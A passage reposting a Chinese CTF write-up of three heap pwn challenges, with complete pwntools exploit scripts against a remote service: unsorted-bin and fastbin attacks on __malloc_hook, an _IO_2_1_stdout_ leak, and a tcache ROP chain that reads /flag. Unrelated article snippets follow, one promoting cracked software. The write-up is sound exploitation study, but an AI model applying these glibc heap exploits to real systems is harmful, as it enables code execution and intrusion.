[JSMSA_CTF] 2023年12月练习题 pwn

news2025/2/22 8:04:39

一开始没给附件,还以为是3个盲pwn结果,pwn了一晚上没出来,今天看已经有附件了。

pwn1

  1. 在init_0里使用mallopt(1,0) 设置global_max_fast=0 任何块释放都会进入unsort
  2. 在free函数里没有清理指针,有UAF
  3. 将v6:0x100清0,便于写one
  4. 没有return退出,直接调用exit

思路是通过unsortAttack修改global_max_fast,使释放后的块能进入fastbin,然后再进行fastbinAttack利用错位在malloc_hook写one,如果是盲pwn的话还真不容易完成,主要问题在于当使用unsort泄露libc地址时,无法准确的确定具体版本,也就得到不正确的one,所以可以确定是出题人忘别附件了。

from pwn import *

#p = process('./pwn1')
p = remote('36.152.17.3', 10026)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.23.so')
elf = ELF('./pwn1')

def add(size):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b":", str(size).encode())

def free(idx): #uaf
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendafter(b":", msg)

def show(idx):
    p.sendlineafter(b">> ", b'4')
    p.sendlineafter(b"index: ", str(idx).encode())

add(0x80)
add(0x60)
add(0x60)
add(0x60)
free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f'{ libc.address = :x}')

edit(0, flat(libc.sym['__malloc_hook']+70, libc.sym['__free_hook']+0x40-5)[:-1]+b'\n')
add(0x80)

free(1)
edit(1, p64(libc.sym['__malloc_hook'] - 0x23)+b'\n')
add(0x60)
add(0x60) #6
edit(6, b'A'*3 + flat(0,0,libc.address + 0xf1247)+b'\n')
add(8)
p.interactive()

pwn2 IO_stdout

通过名字可知,是练习stdout的攻击

  1. 没有show
  2. edit有写溢出
  3. free有UAF
  4. PIE 保护打开
  5. got表全保护
  v4 = __readfsqword(0x28u);
  sub_A90();
  memset(v3, 0, 260);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_B1C();
      _isoc99_scanf("%d", v3);
      if ( v3[0] != 2 )
        break;
      m2free();
    }
    if ( v3[0] > 2 )
    {
      if ( v3[0] == 3 )
      {
        m3edit();
      }
      else if ( v3[0] == 4 )
      {
        exit(0);
      }
    }
    else if ( v3[0] == 1 )
    {
      m1add();
    }
  }

思路:

在得到unsort后,通过修改fp在址后两字节为x5dd(半字节未知需要爆破),利用错位在_IO_2_1_stdout_有前方临近位置建块修改io_write_ptr尾字节,泄露libc。 在得到libc后同样修改这两个地址ptr和end泄露environ地址,然后再写一个栈地址可以泄露加载地址。由于栈内错位有一定难度,所以这里选去控制指针区,所以用到程序加载地址。在指针区前边利用stderr的指针错位建块控制指针,写入edit函数ret的地址,在ret写one

from pwn import *

context(arch='amd64', log_level='debug')

def add(size, msg=b'\n'):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Length of game description:\n", str(size).encode())
    p.sendafter(b"Game description:", msg)

def free(idx):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"game index: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"game index: ", str(idx).encode())
    p.sendlineafter(b"Length of game description:", str(len(msg)).encode())
    p.send(msg)

def doit():
    libc = ELF('./libc-2.23.so')
    elf = ELF('./IO_stdout')
    #
    add(0x18)
    add(0x28)
    add(0x60)
    add(0x60)
    add(0x60)
    edit(0, p64(0)*3 + p64(0xa1))
    free(1)
    free(2)
    add(0x28)
    #main_arena->_IO_2_1_stdout_ - 0x33
    edit(2, b'\xdd\x55')


    add(0x60)
    add(0x60) #7
    edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ p8(0))
    libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) +0x20 - libc.sym['_IO_2_1_stdout_']
    print(f"{ libc.address = :x}")
    assert libc.address >> 40 == 0x7f 
    
    edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ flat(libc.sym['_environ'], libc.sym['_environ']+8))
    stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (0xfa8 - 0xd88)  #editret
    print(f"{ stack = :x}")


    edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ flat(stack, stack+8))
    p.recvuntil(b'Edit Game description:')
    elf.address = u64(p.recv(8)) - 0xfc6
    print(f"{ elf.address = :x}")

    edit(7, b'\x00'*0x33 + flat(0xfbad2887))
    
    pop_rdi = elf.address + 0x0000000000001043 # pop rdi ; ret
    bin_sh = next(libc.search(b'/bin/sh\x00'))
    system = libc.sym['system']
    
    free(3)
    edit(3, p64(elf.sym['stderr'] -3))

    #gdb.attach(p, "b*0x0000555555400f15\nc")

    add(0x60)
    add(0x60, b'\x00'*3 + flat(0,0, stack)[:-1]+b'\n')
    edit(0, flat(pop_rdi+1, libc.address + 0x45226)+ p64(0)*14)
    p.sendline(b"cat flag")
    p.interactive()  


#p = process('./IO_stdout')
p = remote('36.152.17.3', 10027)
doit()

pwn3 orw_h2

这个增删改显示都有了,只是限制了execve 要求用orw

  1. free有UAF

思路:

通过建大块free到unsort再show得到libc .将块建到environ泄露栈地址,找到ret位置,然后写ROP

from pwn import *

#p = process('./orw_h2')
p = remote('36.152.17.3', 10028)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')
elf = ELF('./orw_h2')

def add(size,msg=b'A'):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Length of game description:", str(size).encode())
    p.sendafter(b"Game description:", msg)

def free(idx): #uaf
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"game index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"game index: ", str(idx).encode())
    p.sendafter(b"Edit Game description:", msg)

def show(idx):
    p.sendlineafter(b">> ", b'4')
    p.sendlineafter(b"game index: ", str(idx).encode())

add(0x430)
add(0x168)
add(0x168)
add(0x168)
free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f'{ libc.address = :x}')

free(1)
free(2)
edit(2, p64(libc.sym['_environ']-0x10))
add(0x168)
add(0x168, b'A'*0x10) #5

show(5)
p.recvuntil(b'A'*0x10)
stack = u64(p.recv(6).ljust(8, b'\x00')) - (0xfb8-0xd88)
print(f"{stack = :x}")

pop_rdi = libc.address + 0x0000000000023b72 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002604f # pop rsi ; ret
pop_rdx = libc.address + 0x000000000015f7e6 # pop rdx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000047400 # pop rax ; ret
syscall_ret = libc.sym['getpid'] + 9
flag_addr = stack+0x100

rop = flat(pop_rdi, stack+0x30, pop_rsi, 0, pop_rdx, 0,b'/flag\x00\x00\x00', pop_rax, 2, syscall_ret)
rop+= flat(pop_rdi,3, pop_rsi, flag_addr, pop_rdx, 0x100,0, pop_rax,0, syscall_ret)
rop+= flat(pop_rdi,1, pop_rax, 1, syscall_ret)

free(1)
free(2)
edit(2, p64(stack))
add(0x168)

add(0x168, rop)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1295978.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ResNeXt(2017)

文章目录 Abstract1. Introductionformer workour work 2. Related Work多分支卷积网络分组卷积压缩卷积网络Ensembling 3. Method3.1. Template3.2. Revisiting Simple Neurons3.3. Aggregated Transformations3.4. Model Capacity 4. Experiment 原文地址 源代码 Abstract 我…

vuepress-----18、图片缩放

图片引入两种方式 地址 # 图片缩放插件 # 实战 md文件引入图片 <img class"zoom-custom-imgs" :src"$withBase(/favicon.ico)" alt"favicon">安装配置插件 vuepress/medium-zoom: {selector: img.zoom-custom-imgs,},效果展示

LVS-DR+Keepalived+动静分离实验

架构图 解释一下架构&#xff0c;大概就是用Keepalived实现两台DR服务器的LVS负载均衡&#xff0c;然后后端服务器是两台Nginx服务器两台Tomcat服务器并且实现动静分离这个实验其实就是把 LVS-DRKeepalived 和 动静分离 给拼起来&#xff0c;真的是拼起来&#xff0c;两个部分…

MVCC是什么

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一波电子书籍资料&#xff0c;包含《Effective Java中文版 第2版》《深入JAVA虚拟机》&#xff0c;《重构改善既有代码设计》&#xff0c;《MySQL高性能-第3版》&…

关于什么是 JVM

关于什么是 JVM&#xff0c;看看普通⼈和⾼⼿的回答。 普通人 JVM 就是 Java 虚拟机&#xff0c;是⽤来运⾏我们平时所写的 Java 代码的。优点是它会 ⾃动进⾏内存管理和垃圾回收&#xff0c;缺点是⼀旦发⽣问题&#xff0c;要是不了解 JVM 的运⾏ 机制&#xff0c; 就很难…

网工内推 | 外企、合资公司急招网工,国内外旅游,健身年卡

01 深圳市耐施菲信息科技有限公司 招聘岗位&#xff1a;网络工程师 职责描述&#xff1a; 1、负责项目的计划、实施、过程管控、项目验收等工作&#xff1b; 2、负责大型项目设备实施、安装调试等售后维护工作&#xff1b; 3、分析、设计网络拓扑结构、配置H3C、华为等交换机…

扁平的MutableList元素每隔若干元素一组装入新MutableList,Kotlin

扁平的MutableList元素每隔若干元素一组装入新MutableList&#xff0c;Kotlin fun main(args: Array<String>) {val array arrayOf("a", "b", "c", "d", "e", "f", "g", "h", "i…

Linux设置root初始密码

目录 一、Linux系统中普通用户和特权用户&#xff08;root&#xff09; 二、Linux系统中设置root初始密码 一、Linux系统中普通用户和特权用户&#xff08;root&#xff09; windows 系统中有普通用户和特权用户&#xff0c;特权用户是 administer&#xff0c;普通用户可以…

Qt练习题

1.使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数 将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断ui界面上输入的账号是否为"admin"&#xff0c;密码是否…

个人信息展示网站需求分析报告

目录 一. 概述1.1 设计目的1.2 术语定义 二. 需求分析三. 系统功能需求3.1 功能总览3.2 业务流程图1.系统用例图2.系统流程 四.开发技术4.1 技术组成 五.界面及运行环境1.用户界面2.运行环境 一. 概述 1.1 设计目的 兴趣使然。将知识点综合运用。CSDN有功能限制&#xff0c;因…

【LeetCode】692. 前K个高频单词

692. 前K个高频单词 描述示例解题思路及事项思路一思路二 描述 给定一个单词列表 words 和一个整数 k &#xff0c;返回前 k 个出现次数最多的单词。 返回的答案应该按单词出现频率由高到低排序。如果不同的单词有相同出现频率&#xff0c; 按字典顺序 排序 示例 示例1 输…

基于YOLOv7算法和Caltech数据集的高精度行人目标检测识别系统(PyTorch+Pyside6+YOLOv7)

摘要&#xff1a;基于YOLOv7算法和Caltech数据集的高精度行人目标检测系统可用于日常生活中检测与定位行人目标&#xff0c;此系统可完成对输入图片、视频、文件夹以及摄像头方式的目标检测与识别&#xff0c;同时本系统还支持检测结果可视化与导出。本系统采用YOLOv7目标检测算…

宁盾统一身份中台助力某集团公司实现统一身份认证和管理(如泛微OA、微软AD)

某集团公司是一家以钢铁为主业&#xff0c;涉足互联网金融、文化健康、智慧城市、现代物流等多领域的大型现代化企业集团。创业发展已有三十余年&#xff0c;拥有员工人数超万人&#xff0c;为了提升管理效率&#xff0c;同时实现国产化创新和数字化转型&#xff0c;公司采用了…

大一python题库及答案,大一python期末必考题

大家好&#xff0c;小编来为大家解答以下问题&#xff0c;大一python题库及答案&#xff0c;大一python期末必考题&#xff0c;今天让我们一起来看看吧&#xff01; 本篇文章给大家谈谈大一python题库及答案&#xff0c;以及大一python期末必考题&#xff0c;希望对各位有所帮助…

排序算法-插入/希尔排序

1 插入排序 1.1基本思想&#xff1a; 直接插入排序是一种简单的插入排序法&#xff0c;其基本思想是&#xff1a;把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中&#xff0c;直到所有的记录插入完为止&#xff0c;得到一个新的有序序列 。 1.2直…

Si24R03—低功耗 SOC 芯片(集成RISC-V内核+2.4GHz无线收发器)

Si24R03是一款高度集成的低功耗SOC芯片&#xff0c;其集成了基于RISC-V核的低功耗MCU和工作在2.4GHz ISM频段的无线收发器模块。 MCU模块具有低功耗、Low Pin Count、宽电压工作范围&#xff0c;集成了13/14/15/16位精度的ADC、LVD、UART、SPI、I2C、TIMER、WUP、IWDG、RTC等丰…

12月8日作业

题目&#xff1a; 使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数 将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断ui界面上输入的账号是否为"admin"&am…

【超详细教程】FL Studio 21中文破解版,让你的音乐制作更出彩啦!

嗨小仙女们&#xff01;今天小助理要跟大家分享一个超赞的消息&#xff01;你们知道吗&#xff0c;FL Studio 21中文破解版终于来啦&#xff01; FL Studio 21是一款超级火爆的音乐制作软件&#xff0c;不仅功能强大&#xff0c;而且操作简单&#xff0c;适合各种水平的音乐制…

Python Django-allauth: 构建全面的用户身份验证系统

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com Django-allauth是一个功能强大的Django插件&#xff0c;旨在简化和定制Web应用程序中的用户身份验证和管理。本文将深入介绍Django-allauth的核心功能、基本用法以及实际应用场景&#xff0c;通过丰富的示例代码…

【数据结构】插入排序,希尔排序,选择排序,堆排序,冒泡排序

1.插入排序 思路&#xff1a;插入排序将一个数插入一个有序的数组里面&#xff0c;将这个数和数组元素挨着比较&#xff0c;直到他插入到合适的位置。 动画演示&#xff1a; 步骤&#xff1a;1.定义一个变量tmp保存要插入的数据 2.在循环中用tmp和有序数组中的元素比较&#…